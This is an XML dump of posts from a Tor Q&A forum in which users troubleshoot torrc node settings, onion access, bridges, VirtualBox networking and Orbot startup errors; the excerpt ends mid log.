  <row Id="14050" PostTypeId="1" CreationDate="2017-02-14T18:16:57.917" Score="1" ViewCount="520" Body="&lt;p&gt;When you use a particular country settings do not work addresses onion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;DataDirectory C:\Users\Windows\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile C:\Users\Windows\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\Windows\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;HiddenServiceStatistics 0&#xA;&#xA;#-------------------------------------------------&#xA;StrictNodes 1&#xA;EntryNodes {US}&#xA;ExitNodes {US}&#xA;&#xA;#{ac},{af},{ax},{al},{dz},{ad},{ao},{ai},{aq},{ag},{ar},{am},{aw},{au},{at},{az},{bs},{bh},{bd},{bb},{by},{be},{bz},{bj},{bm},{bt},{bo},{ba},{bw},{bv},{br},{io},{vg},{bn},{bg},{bf},{bi},{kh},{cm},{ca},{cv},{ky},{cf},{td},{cl},{cn},{cx},{cc},{co},{km},{cg},{cd},{ck},{cr},{ci},{hr},{cu},{cy},{cz},{dk},{dj},{dm},{do},{tp},{ec},{eg},{sv},{gq},{ee},{et},{fk},{fo},{fj},{fi},{fr},{fx},{gf},{pf},{tf},{ga},{gm},{ge},{de},{gh},{gi},{gr},{gl},{gd},{gp},{gu},{gt},{gn},{gw},{gy},{ht},{hm},{hn},{hk},{hu},{is},{in},{id},{ir},{iq},{ie},{im},{il},{it},{jm},{jp},{jo},{kz},{ke},{ki},{kp},{kr},{kw},{kg},{la},{lv},{lb},{ls},{lr},{ly},{li},{lt},{lu},{mo},{mk},{mg},{mw},{my},{mv},{ml},{mt},{mh},{mq},{mr},{mu},{yt},{mx},{fm},{md},{mc},{mn},{me},{ms},{ma},{mz},{mm},{na},{nr},{np},{an},{nl},{nc},{nz},{ni},{ne},{ng},{nu},{nf},{mp},{no},{om},{pk},{pw},{ps},{pa},{pg},{py},{pe},{ph},{pn},{pl},{pt},{pr},{qa},{re},{ro},{ru},{rw},{ws},{sm},{st},{sa},{uk},{sn},{rs},{sc},{sl},{sg},{sk},{si},{sb},{so},{as},{za},{gs},{su},{es},{lk},{sh},{kn},{lc},{pm},{vc},{sd},{sr},{sj},{sz},{se},{ch},{sy},{tw},{tj},{tz},{th},{tg},{tk},{to},{tt},{tn},{tr},{tm},{tc},{tv},{ug},{ua},{ae},{gb},{uk},{us},{um},{uy},{uz},{vu},{va},{ve},{vn},{vi},{wf},{eh},{ye},{zm},{zw}&#xA;ExcludeNodes {ac},{af},{ax},{al},{dz},{ad},{ao},{ai},{aq},{ag},{ar},{am},{aw},{au},{at},{az},{bs},{bh},{bd},{bb},{by},{be},{bz},{bj},{bm},{bt},{bo},{ba},{bw},{bv},{br},{io},{vg},{bn},{bg},{bf},{bi},{kh},{cm},{ca},{cv},{ky},{cf},{td},{cl},{cn},{cx},{cc},{co},{km},{cg},{cd},{ck},{cr},{ci},{hr},{cu},{cy},{cz},{dk},{dj},{dm},{do},{tp},{ec},{eg},{sv},{gq},{ee},{et},{fk},{fo},{fj},{fi},{fr},{fx},{gf},{pf},{tf},{ga},{gm},{ge},{de},{gh},{gi},{gr},{gl},{gd},{gp},{gu},{gt},{gn},{gw},{gy},{ht},{hm},{hn},{hk},{hu},{is},{in},{id},{ir},{iq},{ie},{im},{il},{it},{jm},{jp},{jo},{kz},{ke},{ki},{kp},{kr},{kw},{kg},{la},{lv},{lb},{ls},{lr},{ly},{li},{lt},{lu},{mo},{mk},{mg},{mw},{my},{mv},{ml},{mt},{mh},{mq},{mr},{mu},{yt},{mx},{fm},{md},{mc},{mn},{me},{ms},{ma},{mz},{mm},{na},{nr},{np},{an},{nl},{nc},{nz},{ni},{ne},{ng},{nu},{nf},{mp},{no},{om},{pk},{pw},{ps},{pa},{pg},{py},{pe},{ph},{pn},{pl},{pt},{pr},{qa},{re},{ro},{ru},{rw},{ws},{sm},{st},{sa},{uk},{sn},{rs},{sc},{sl},{sg},{sk},{si},{sb},{so},{as},{za},{gs},{su},{es},{lk},{sh},{kn},{lc},{pm},{vc},{sd},{sr},{sj},{sz},{se},{ch},{sy},{tw},{tj},{tz},{th},{tg},{tk},{to},{tt},{tn},{tr},{tm},{tc},{tv},{ug},{ua},{ae},{gb},{uk},{um},{uy},{uz},{vu},{va},{ve},{vn},{vi},{wf},{eh},{ye},{zm},{zw}&#xA;#-------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;normal addresses works, for example: www.whoer.net&#xA;&lt;a href=&quot;https://s4.postimg.org/ucw4h8ny5/image.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://s4.postimg.org/ucw4h8ny5/image.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Onion addresses but does not work...&lt;/p&gt;&#xA;" OwnerUserId="16280" LastEditorUserId="12737" LastEditDate="2017-02-15T01:39:13.290" LastActivityDate="2017-02-15T01:45:52.650" Title="When you use a particular country settings do not work addresses onion" Tags="|tor-browser-bundle|configuration|relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14051" PostTypeId="1" CreationDate="2017-02-14T21:32:10.943" Score="1" ViewCount="351" Body="&lt;p&gt;a few days ago i have posted this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am having a problem setting up tor through virtual box and let me give you guys some details: I have installed tor bundle on win xp that is installed on virtual box but when i am trying to activate tor bundle it won't connect, it will get stuck in the &quot;loading network status&quot; level. I have malware anti bytes installed on the pc and norton anti virus. malware antybytes will show me message when i am trying to connect to tor like :&quot;website blocked ip:61231 port&quot; i will get a few messages like this and it just won't connect to tor on guest os. i tried to deactivate norton and malware antybytes but it still won't connect to tor. What else shall i try?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and i have gotten this answer from Alexey Vesnin:&#xA;Malwarebytes is blocking Tor - it's a known issue. If I got you right - you have two antiviruses on one PC, it's a bad idea nowdays: I remember 1994 - yes, then it made some sense, but not now. Some network filtering is remaining when the AV is deactivated, and - if your host is also Windows - it can activate windows defender+firewall when disabling other antivirus... Use network bridge for your virtual machine - it should keep you out of trouble. And feel free to ask further if it will not work - together we will solve this, don't worry!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't know if i should respond over there in the answer section or i should just open a new question tab, so that is what i am doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, i have removed malware bytes from my pc and i have stayed just with norton, but still i am not able to connect to tor through the guest os.&#xA;n.b what exactly and how exactly do i do the network bridge that you told me?&#xA;because when i am trying to bridge the virtual box network adapter it tells me that i can bridge it just to another lan network and my main network is wireless.&#xA;please help me.&lt;/p&gt;&#xA;" OwnerUserId="16282" LastActivityDate="2021-12-22T02:04:10.397" Title="Tor connection in guest OS is being blocked by unknown firewall At Host OS part 2" Tags="|help|support|firewall|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14054" PostTypeId="2" ParentId="10664" CreationDate="2017-02-15T01:24:38.920" Score="1" Body="&lt;p&gt;As @canonizingironize said - there's no ICMP in Tor. Actually, there's &lt;strong&gt;nothing except TCP&lt;/strong&gt; in Tor. But there's a way to &quot;ping&quot; an onion:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Any service has a TTFB(Time To First Byte) timing, and when you're connecting to it - on &lt;em&gt;your side&lt;/em&gt; time to first byte is TTFB++, i.e. &quot;ping delay&quot;, roughly speaking&lt;/li&gt;&#xA;&lt;li&gt;So - assuming that server-side TTFB is semi-equal(actually it is - in case of a proper server, jitter is +/- 1-2 miliseconds), you can use it in math model to make a system of equations and you can estimate server-side TTFB&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This method will give you a &lt;em&gt;very rough&lt;/em&gt; &quot;packet travel time&quot; estimation rounded to tens of miliseconds, but if you need it anyway - it's better than nothing.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-15T01:24:38.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14055" PostTypeId="2" ParentId="14048" CreationDate="2017-02-15T01:41:01.907" Score="-1" Body="&lt;p&gt;It's a common Linux and Unix problem not related just to Tor. The root of the problem is that you can't bind a port 53, which is a &lt;em&gt;lower port&lt;/em&gt; or &lt;em&gt;privileged port&lt;/em&gt; - i.e. all ports with  &amp;lt; 1024 or sometimes 2048 are requiring a root privileges to bind to them. How to fix it - a very simple checklist for Tor! Here it is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;First of all&lt;/strong&gt; check if it's not already taken by some other app &lt;code&gt;netstat -nalp | grep &quot;:53&quot; | grep &quot;0.0.0.0:*&quot;&lt;/code&gt; - this will show you what pid and program listens on it, if there's any. If your desired bind point is already taken - free it first. &lt;code&gt;DNSPort 53&lt;/code&gt; according to &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#DNSPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt; can have address, so if it's just a port(and no &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#DNSListenAddress&quot; rel=&quot;nofollow noreferrer&quot;&gt;DNSListenAddress&lt;/a&gt; directive) - it will try to bind to &lt;code&gt;0.0.0.0&lt;/code&gt; i.e. to &lt;em&gt;all&lt;/em&gt; IP's of the host at the binding moment. If you have DNSListenAddress - it can also take IP and port. Pehaps you should be more specific in your port-53-occupying app's config and in Tor's torrc? Specify IP addresses in &lt;em&gt;both&lt;/em&gt; configs and you will be just fine.&lt;/li&gt;&#xA;&lt;li&gt;If the port/binding-point is free - start tor as root &lt;strong&gt;and&lt;/strong&gt; add the &lt;strong&gt;very last&lt;/strong&gt; line in your torrc config &lt;code&gt;User tor-unprivileged-user&lt;/code&gt; - that's how it works: at first, tor starts as a current user it is runned from and binds to all the network points(ports, ip+ports combo's), &lt;em&gt;no network activity so far&lt;/em&gt;, so no leaks are possible. After that - &lt;em&gt;if&lt;/em&gt; there's a &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#User&quot; rel=&quot;nofollow noreferrer&quot;&gt;User&lt;/a&gt; directive in the last line of the config - it drops/switches-to the username specified. Only after that any files are open(geoip db's, caches, HS keys, etc) and network activities are takin it's place&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Usually an ISC BIND with process called &lt;code&gt;named&lt;/code&gt; is residing on all the 53 ports, it's configs are in Debian usually in &lt;code&gt;/etc/bind&lt;/code&gt; folder. The main one is &lt;code&gt;named.conf&lt;/code&gt; but in Debian and other distro's it's split up and included from it. Find the one with &lt;code&gt;options {}&lt;/code&gt; container in it and add this option: &lt;code&gt;listen-on { X1.Y1.Z1.V1; X2.Y2.Z2.V2; };&lt;/code&gt; - it will bind to the specific IP addresses &lt;strong&gt;only&lt;/strong&gt;. Watch for semicolons! A semicolon after every IP &lt;strong&gt;and&lt;/strong&gt; after the closing curly bracket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to ask questions if you need any further help! &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-15T01:41:01.907" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14056" PostTypeId="2" ParentId="14050" CreationDate="2017-02-15T01:45:52.650" Score="1" Body="&lt;p&gt;You have jailed yourself to use US-only nodes for &lt;strong&gt;all the circuits&lt;/strong&gt; - so it's normal. Drop the &lt;code&gt;ExcludeNodes&lt;/code&gt; line and you will be just fine! If you will make an &lt;em&gt;outside query&lt;/em&gt;, i.e. for an clearnet website - EntryNodes + ExitNodes are just fine for you and you will preserve your geolocation tweak, but in case of onions/HiddenServices you actually don't care at all: a rendezvouz points are cut off by your ExcludeNodes clause and you simply can't reach the onion hidden service - that's how your fail happens.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-15T01:45:52.650" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14057" PostTypeId="2" ParentId="14051" CreationDate="2017-02-15T01:51:21.267" Score="0" Body="&lt;p&gt;You need to make a bridge to the adapter you're using to talk to your LAN. For a wireless adapter there's no problem at all in VirtualBox - take a look at my screenshot: &lt;a href=&quot;https://i.stack.imgur.com/nWort.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nWort.png&quot; alt=&quot;Virtualbox Bridge for Wifi adapter&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add your screenshot, OS version and details if you can't see your wifi adapter for a bridge&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-15T01:51:21.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14058" PostTypeId="1" CreationDate="2017-02-15T04:27:28.460" Score="1" ViewCount="56" Body="&lt;p&gt;I'm running a relay in my computer. Using orfox I set it as Entrance Node, but it shows &#xA;WARN:  Remote server sent bogus reason code 65022&#xA;I couldn't find this error in any site.&#xA;Is there something wrong with my relay?&lt;/p&gt;&#xA;" OwnerUserId="16285" LastActivityDate="2017-02-15T10:25:12.327" Title="Error conecting to my relay" Tags="|relays|android|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14059" PostTypeId="1" CreationDate="2017-02-15T06:05:06.820" Score="2" ViewCount="115" Body="&lt;p&gt;I'd like to prevent Firefox from reading canvas, for example. As far as I understand, this is functionality of Tor Button extension which is part of Tor Browser Bundle, but it implies using Tor. What if I want to achieve the same protection in the regular Firefox for non-Tor browsing, what should I use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: question was marked as duplicate of &lt;a href=&quot;https://tor.stackexchange.com/questions/10367&quot;&gt;How to dissconnect Tor browser from the Tor network&lt;/a&gt; but I don't think so, because that question is about using TBB without Tor, and the consensus was that it's a very bad idea. And my question is about the opposite — getting TBB-level browser hardening in a regular Firefox (or some fork) for using it with regular browsing (not over Tor).&lt;/p&gt;&#xA;" OwnerUserId="16286" LastEditorUserId="16286" LastEditDate="2017-02-15T07:38:36.903" LastActivityDate="2017-02-15T07:38:36.903" Title="Is it possible to get some fingerprinting protection features of TBB in regular Firefox for non-Tor browsing?" Tags="|tor-browser-bundle|fingerprinting|add-on|tor-button|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14060" PostTypeId="2" ParentId="14046" CreationDate="2017-02-15T09:17:10.473" Score="0" Body="&lt;p&gt;Are you able to ping your gateway (router IP) and public DNS (8.8.8.8) from your virtual box? This will prove if you have internet connectivity on your VM. In bridge mode, your NIC will directly connect to your WiFi meaning you've to ensure you've not enabled MAC filtering (add vm's mac if you've enabled) and also you must add credentials to attach the VM  onto wifi. &lt;/p&gt;&#xA;" OwnerUserId="7567" LastEditorUserId="7567" LastEditDate="2017-02-15T11:41:25.377" LastActivityDate="2017-02-15T11:41:25.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14062" PostTypeId="2" ParentId="14058" CreationDate="2017-02-15T10:25:12.327" Score="1" Body="&lt;p&gt;I think, actually, this is a bug in the client not the relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The circuit &lt;em&gt;is&lt;/em&gt; failing &lt;em&gt;but&lt;/em&gt; the error message is possibly a problem in the client, my reasoning is that the spec states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The payload of a RELAY_TRUNCATED or DESTROY cell contains a single octet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since an octet is 1 byte and 65022 &gt; 255, this value can't be carried in a valid cell so it must be local to the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think what you're seeing is this: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/20307&quot; rel=&quot;nofollow noreferrer&quot;&gt;#20307&lt;/a&gt;, essentially it's taking a signed integer and converting it to an unsigned short and your control port gets that bogus reason code. It's a bug in Tor, it should (?) be patched but it may be that Orbot hasn't applied and pushed the patched version yet.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-15T10:25:12.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14064" PostTypeId="1" CreationDate="2017-02-15T17:07:39.633" Score="1" ViewCount="77" Body="&lt;p&gt;I can not connect to Tor network with bridges. I set a remote anonymous proxy (as if it is a local proxy) and then tor could connect to the network. I wonder if Tor connects to the first node through this proxy and the connection between Tor browser and the proxy is encrypted.&lt;/p&gt;&#xA;" OwnerUserId="16297" LastActivityDate="2017-02-16T22:50:14.357" Title="What happens if we write a remote anonymous proxy in local proxy address?" Tags="|proxy|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14065" PostTypeId="2" ParentId="13995" CreationDate="2017-02-15T19:04:47.453" Score="1" Body="&lt;p&gt;I just verified this issue. It appears that the auth_token is not being sent in the JSON request form, even though it is included in the headers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Request URL:  https://api.twitter.com/1.1/favorites/create.json&#xA;&#xA;Request method:  POST&#xA;&#xA;Remote address: 0.0.0.0:443&#xA;&#xA;Status code:  400 Bad Request&#xA;&#xA;Version:  HTTP/1.1&#xA;&#xA;&#xA;Response: &#xA;JSON&#xA;&#xA;errors: Object&#xA;&#xA;0: Object&#xA;&#xA;code: 215&#xA;&#xA;message: “Bad Authentication data.”&#xA;&#xA;&#xA;Params:&#xA;&#xA;Form Data&#xA;&#xA;id: “xxxxxxxxxxx”&#xA;&#xA;tweet_stat_count: “xx”&#xA;&#xA;Request Body:&#xA;&#xA;id=xxxxxx&amp;amp;tweet_stat_count=xx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16295" LastEditorUserId="107" LastEditDate="2017-03-20T16:29:27.120" LastActivityDate="2017-03-20T16:29:27.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14068" PostTypeId="1" CreationDate="2017-02-16T04:12:12.993" Score="2" ViewCount="1213" Body="&lt;p&gt;Recently, when I use Twitter via Tor, I get an error message &quot;Sorry, something went wrong&quot; when I click on the heart icon (to favorite a tweet). All the other functions work. When I use regular Firefox, I do not have this problem. I have also tried a variety of Tor circuits, but that did not work. Is this some kind of JavaScript setting issue?&lt;/p&gt;&#xA;" OwnerUserId="16305" LastEditorDisplayName="user5" LastEditDate="2017-02-16T04:58:45.810" LastActivityDate="2021-06-22T18:30:51.260" Title="Twitter and Tor" Tags="|javascript|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14069" PostTypeId="1" CreationDate="2017-02-16T06:54:36.067" Score="3" ViewCount="601" Body="&lt;p&gt;I watch a few videos on Youtube using TB, all about the same or very similar topic. Let's say &quot;topic x&quot;.&#xA;Then I open a new window in TB, which then will use a different circuit for sites I'm visiting in that window. I watch some videos in this windows, about a different topic.&#xA;But this time Youtube will list and recommend me videos about &quot;topic x&quot; on the right side in this new window.&#xA;How does Youtube see what I watched in a previous window using a different Tor circuit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it because cookies?&#xA;Aren't different windows operate kind of as different &quot;instances&quot;?&#xA;How can I prevent this without restarting TB?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use cookie manager addons and the built-in Firefox cookie manager, but none shows any cookies.&#xA;How can I manage cookies in TB? How can I delete cookies set by a certain domain without closing and restarting TB?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the help!&lt;/p&gt;&#xA;" OwnerUserId="16307" LastEditorUserId="88" LastEditDate="2017-03-16T11:35:40.527" LastActivityDate="2017-06-14T14:39:10.013" Title="How can Youtube see my viewing history through different circuits?" Tags="|tor-browser-bundle|anonymity|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14072" PostTypeId="1" CreationDate="2017-02-16T09:05:10.343" Score="4" ViewCount="2907" Body="&lt;p&gt;I have a tails install running off USB running on a laptop with Parrot linux installed. Tor connects fine without bridges. I used welcome screen to set up bridge list and cannot connect. Bridges have been copied from Tor DB, and have tried 4 x OBFS3, then 4 x OBFS4 servers, then up to 16 OBFS4 server entries (1 per line as per instructions). I have duplicated the same 16 server list in a windows TOR set up accessing the same wireless network at around the same time and connection is ok. Why is it not working in Tails/tor only?&#xA;Copied below is portions of the log file with external server addresses &quot;xxx&quot; out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;02/16/2017 18:29:19.400 [NOTICE] New control connection opened from 127.0.0.1. &#xA;02/16/2017 18:29:20.200 [NOTICE] New control connection opened from 127.0.0.1. &#xA;02/16/2017 18:29:21.200 [NOTICE] New control connection opened from 127.0.0.1. &#xA;02/16/2017 18:29:22.300 [NOTICE] New control connection opened from 127.0.0.1. &#xA;02/16/2017 18:29:23.300 [NOTICE] New control connection opened from 127.0.0.1. &#xA;&#xA;02/16/2017 18:30:42.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;02/16/2017 18:30:42.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;&#xA;02/16/2017 18:30:42.300 [NOTICE] Opening Socks listener on 127.0.0.1:9050 &#xA;02/16/2017 18:30:42.300 [NOTICE] Opening Socks listener on 127.0.0.1:9061 &#xA;02/16/2017 18:30:42.300 [NOTICE] Opening Socks listener on 127.0.0.1:9062 &#xA;02/16/2017 18:30:42.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;02/16/2017 18:30:42.300 [NOTICE] Opening DNS listener on 127.0.0.1:5353 &#xA;02/16/2017 18:30:42.300 [NOTICE] Opening Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;02/16/2017 18:30:42.300 [NOTICE] Renaming old configuration file to &quot;/etc/tor/torrc.orig.1&quot; &#xA;02/16/2017 18:30:42.800 [NOTICE] New control connection opened from 127.0.0.1. &#xA;02/16/2017 18:30:44.400 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;02/16/2017 18:30:44.400 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;02/16/2017 18:31:21.100 [WARN] Proxy Client: unable to connect to 178.62.xxx.xx:9443 (&quot;general SOCKS server failure&quot;) &#xA;02/16/2017 18:31:22.200 [WARN] Proxy Client: unable to connect to 194.132.xxx.xxx:53418 (&quot;general SOCKS server failure&quot;) &#xA;&#xA;02/16/2017 18:35:03.400 [NOTICE] Closing no-longer-configured Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;02/16/2017 18:35:03.400 [NOTICE] Closing no-longer-configured DNS listener on 127.0.0.1:5353 &#xA;02/16/2017 18:35:03.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9050 &#xA;02/16/2017 18:35:03.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9061 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16310" LastEditorUserId="12737" LastEditDate="2017-02-18T15:02:22.810" LastActivityDate="2022-09-17T16:06:00.607" Title="Tails/Tor not connecting to Network using multiple OBSF 3 OR 4 bridges" Tags="|tails|bridge|proxy|obfs4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14074" PostTypeId="2" ParentId="6785" CreationDate="2017-02-16T16:19:01.817" Score="0" Body="&lt;p&gt;RDP always was a pain in the shell, so if you have explicit requirement of using it - elaborate OpenVPN server. You're connecting to it via TCP, pretty OK with Tor, and then &lt;em&gt;inside VPN network&lt;/em&gt; you're talking to the Windows machine directly on both TCP, UDP and whatever you wish. If you need to use SSH for Windows - there's a &lt;a href=&quot;https://www.bitvise.com/winsshd-download&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinSSHD&lt;/a&gt; that does the job pretty well and is using TCP only. If you need just a GUI tunnel for your windows server - a VNC protocol is good for that, &lt;a href=&quot;http://www.tightvnc.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;TightVNC&lt;/a&gt; is free and open source.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-16T16:19:01.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14076" PostTypeId="2" ParentId="14069" CreationDate="2017-02-16T16:39:19.927" Score="1" Body="&lt;p&gt;When opening a new window, Tor Browser does &lt;strong&gt;not&lt;/strong&gt; use a different circuit.&#xA;Only restarting tor or clicking on &quot;New Tor Circuit for this site&quot; will change your Exit Node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have disabled cookies and you are connecting through a different circuit, youtube can not be sure that you are the same person.&lt;/p&gt;&#xA;" OwnerUserId="16314" LastActivityDate="2017-02-16T16:39:19.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14080" PostTypeId="1" CreationDate="2017-02-16T20:48:41.877" Score="4" ViewCount="3733" Body="&lt;p&gt;This is arguably the same question as &lt;a href=&quot;https://tor.stackexchange.com/questions/3625/how-to-connect-to-freenode-using-tor&quot;&gt;How to connect to freenode using Tor?&lt;/a&gt; except that the answers there seem to be outdated, as &lt;a href=&quot;https://freenode.net/kb/answer/chat&quot; rel=&quot;nofollow noreferrer&quot;&gt;freenode now allows access via Tor again&lt;/a&gt;. However the instruction there is not clear to me. For example, it says in the end:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Note that due to the SSL certificates not matching the hidden service, you might have to disable the verification in your client. If your client supports key pinning, you can verify our Tor server's public key fingerprint:&lt;/p&gt;&#xA;&lt;p&gt;E0:1B:31:80:56:D9:78:C4:2B:2D:3F:B2:DB:81:AB:03:15:59:BF:04:7E:31:E8:60:5F:98:07:A1:BB:8F:A3:0D&lt;/p&gt;&#xA;&lt;p&gt;You'll then want to tell your client to try the EXTERNAL mechanism. We lack comprehensive documentation for this, but it's a feature in most modern clients, so please check their docs for instructions for now.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I don't quite understand the first paragraph, and the second one is not very clear instruction to me...&lt;/p&gt;&#xA;&lt;p&gt;Would anyone be able to give a step by step instruction as to how to connect to freenode via Tor using irssi (or any other client), especially how to set up the SASL with EXTERNAL mechanism and how this requires a client certificate to be generated and added to the NickServ?&lt;/p&gt;&#xA;" OwnerUserId="16019" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2020-01-21T14:57:14.103" Title="Connecting to freenode using irssi" Tags="|chat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14081" PostTypeId="1" CreationDate="2017-02-16T22:09:28.803" Score="1" ViewCount="971" Body="&lt;p&gt;Tor cannot connect and i cannot get internet access.&#xA;The internet is blocked on a time schedule. &lt;br /&gt;&#xA;What can i do to fix the problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the log: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;checking binary version: 0.2.8.9armx86-openssl1.0.2j&#xA;updating settings in Tor service&#xA;updating torrc custom configuration...&#xA;torrc.custom=ControlPortWriteToFile /data/data/org.torproject.android/app_bin/control.txt&#xA;SOCKSPort 9050&#xA;SafeSocks 0&#xA;TestSocks 0&#xA;WarnUnsafeSocks 1&#xA;TransPort 9040&#xA;DNSPort 5400&#xA;DNSListenAddress 0.0.0.0&#xA;VirtualAddrNetwork 10.192.0.0/10&#xA;AutomapHostsOnResolve 1&#xA;DisableNetwork 0&#xA;Log debug syslog&#xA;Log info syslog&#xA;SafeLogging 0&#xA;UseBridges 1&#xA;ClientTransportPlugin obfs3 exec /data/data/org.torproject.android/app_bin/obfs4proxy&#xA;ClientTransportPlugin obfs4 exec /data/data/org.torproject.android/app_bin/obfs4proxy&#xA;ClientTransportPlugin scramblesuit exec /data/data/org.torproject.android/app_bin/obfs4proxy&#xA;Bridge obfs4 154.35.22.10:1984 8FB9F4319E89E5C6223052AA525A192AFBC85D55 cert=GGGS1TX4R81m3r0HBl79wKy1OtPPNR2CZUIrHjkRg65Vc2VR8fOyo64f9kmT1UAFG7j0HQ iat-mode=0 &#xA;Bridge obfs4 154.35.22.12:1984 00DC6C4FA49A65BD1472993CF6730D54F11E0DBB cert=N86E9hKXXXVz6G7w2z8wFfhIDztDAzZ/3poxVePHEYjbKDWzjkRDccFMAnhK75fc65pYSg iat-mode=0 &#xA;GeoIPFile /data/data/org.torproject.android/app_bin/geoip&#xA;GeoIPv6File /data/data/org.torproject.android/app_bin/geoip6&#xA;ExitNodes {US}&#xA;StrictNodes 0&#xA;&#xA;&#xA;success.&#xA;Waiting for control port...&#xA;Control Port config file does not yet exist (waiting for tor): /data/data/org.torproject.android/app_bin/control.txt&#xA;Unable to start Tor: java.io.IOException: Unable to add commands to a closed shell&#xA;java.io.IOException: Unable to add commands to a closed shell&#xA;    at org.sufficientlysecure.rootcommands.Shell.add(Shell.java:318)&#xA;    at org.torproject.android.service.TorService.exec(TorService.java:1009)&#xA;    at org.torproject.android.service.TorService.runTorShellCmd(TorService.java:970)&#xA;    at org.torproject.android.service.TorService.startTor(TorService.java:799)&#xA;    at org.torproject.android.service.TorService.access$200(TorService.java:77)&#xA;    at org.torproject.android.service.TorService$IncomingIntentRouter.run(TorService.java:352)&#xA;    at 